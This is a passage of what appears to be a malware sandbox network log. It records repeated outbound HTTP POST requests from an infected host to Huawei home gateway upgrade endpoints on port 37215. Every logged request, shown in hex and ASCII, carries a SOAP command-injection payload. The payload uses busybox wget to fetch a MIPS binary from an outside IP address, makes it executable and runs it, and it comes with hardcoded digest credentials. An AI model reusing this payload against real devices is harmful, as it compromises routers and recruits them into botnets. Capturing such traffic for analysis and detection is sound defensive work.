xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:42.469003916 CET	1644	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:46.532509089 CET	1732	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:54.467232943 CET	1960	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:10.337174892 CET	2379	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:42.844558954 CET	3275	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	43086	156.253.33.255	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:38.829857111 CET	1560	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:40.485291958 CET	1591	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:42.469003916 CET	1644	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:46.532509089 CET	1732	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
